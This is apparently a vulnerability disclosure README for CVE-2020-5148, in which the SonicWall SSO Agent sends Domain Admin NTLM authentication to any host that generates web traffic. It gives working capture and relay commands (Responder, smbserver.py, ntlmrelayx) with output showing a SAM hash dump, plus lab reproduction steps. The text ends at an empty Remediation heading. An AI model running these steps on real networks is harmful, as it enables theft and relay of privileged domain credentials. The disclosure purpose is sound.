CVE-2020-5148

Forced Authentication in the SonicWall UTM SSO Agent

The SonicWall SSO Agent identifies the user behind a given IP address by probing that workstation with NetAPI (the default) or WMI. It does not validate the workstation before initiating the NTLM authentication, and it continues polling the same address for the life of the session.

Because the SSO Agent service requires administrative rights on every workstation and server it probes, it is deployed in practice as Domain Admin. Any unauthenticated party who can route web traffic through the UTM appliance can therefore make a Domain Admin account authenticate to a host of their choosing, and capture or relay that authentication.

Published as CVE-2020-5148, vendor advisory SNWLID-2021-0003.

Discovered and reported by Sedric Louissaint of Show Up Show Out Security.

---

Summary

CVE	CVE-2020-5148
Product	SonicWall UTM Appliance and SSO Agent / Directory Services Connector
Affected	SSO Agent 4.1.10.0; Directory Services Connector 4.1.17 and earlier
Fixed in	NVD records the fix in Directory Services Connector 4.1.19 (see note below)
Weakness	CWE-287: Improper Authentication
CVSS 3.1 (NVD)	8.2 High CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
CVSS (researcher)	8.6 AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
Published	2021-03-05
Tested on	Microsoft Windows Server 2012 R2 Standard
Authentication required	None
Vendor advisory	https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0003

NVD description:

SonicWall SSO-agent default configuration uses NetAPI to probe the associated IP's in the network, this client probing method allows a potential attacker to capture the password hash

Technical detail

The intended flow, and the two steps it omits

1. A user's traffic reaches the SonicWALL UTM appliance.
2. The appliance sends the user's IP to the SSO Agent as a "User Name Request". Blocked packets are held.
3. The SSO Agent replies with the username logged into that workstation.
4. LDAP or the local database resolves group membership.
5. Policy is applied and the held traffic is released.
6. The appliance keeps polling the SSO Agent to confirm the same user is still logged on.

The annotations mark what the vendor diagram leaves out:

• Step 2.5 The SSO Agent must authenticate to the workstation before it can query it. That is an outbound NTLM handshake, to an address supplied by whoever generated the traffic, with no prior validation of that address.
• Step 5.5 The agent repeats that authentication on every poll, for the life of the session. The polling interval is configurable in the GUI.

Privilege context

The SSO Agent service requires administrator rights on all associated workstations and servers in order to perform the query at all. In practically every deployment this means the service account is Domain Admin.

The credential being handed to an unvalidated host is therefore the highest privileged account in the directory.

Triggering it

There is no exploit code. Any outbound web request from a segment the appliance handles is sufficient:

curl sonicwall.com

The URL is irrelevant and the request does not need to succeed. The appliance observes traffic from an unrecognised IP, asks the SSO Agent to identify the user there, and the agent authenticates to that IP.

Capturing the credential

With Responder or smbserver.py listening, the agent's NTLMv2 authentication arrives unprompted, and keeps arriving because of the polling behaviour:

[SMB] NTLMv2-SSP Client   : 192.168.x.x
[SMB] NTLMv2-SSP Username : <DOMAIN>\<privileged account>
[SMB] NTLMv2-SSP Hash     : ...

Relaying it

Cracking is optional. Where SMB signing is not enforced, the authentication can be relayed live to a different host, which then treats the connection as the privileged account it appears to be:

ntlmrelayx.py -t <target> -smb2support -of <output>

[*] SMBD-Thread-4: Received connection from 192.168.x.x, attacking target smb://192.168.x.x
[*] Authenticating against smb://192.168.x.x as <DOMAIN>\<user> SUCCEED
[*] Starting service RemoteRegistry
[*] Target system bootKey: ...
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
[*] Done dumping SAM hashes for host: 192.168.x.x

The authentication is triggered by an unauthenticated web request and consumed on an entirely different machine, which is the full ACL bypass described in the advisory.

Reproduction

In a lab you own or are authorised to test, with a UTM appliance configured for SSO and the SSO Agent using the default NetAPI client probing method:

1. Start a listener on a host inside a segment the appliance handles:

   sudo responder -I <interface>
   # or
   sudo smbserver.py c . -smb2support
   

2. From that same host, generate any outbound web traffic through the appliance:

   curl sonicwall.com
   

3. A vulnerable configuration produces an inbound NTLMv2 authentication from the SSO Agent service account within seconds. Wait, and it repeats, because of the polling.
4. Optionally relay rather than capture, against a host with SMB signing disabled:

   ntlmrelayx.py -t smb://<second-host> -smb2support -of relayed
   

Full command sequence in poc/repro.sh.

Repository contents

poc/
  repro.sh       Listener, trigger and relay commands, commented, safe to read first
  notes.md       Why NetAPI triggers this, what WMI changes, detection guidance
media/
  01-sso-flow-annotated.png
  02-curl-crossing-network-boundary.png
  03-ntlmv2-hashes-captured.png
  04-ntlmrelayx-sam-dump.png
  05-sso-agent-version-4.1.10.0.png

Usernames, hashes and internal addresses in the captures are redacted or from the original lab.

Remediation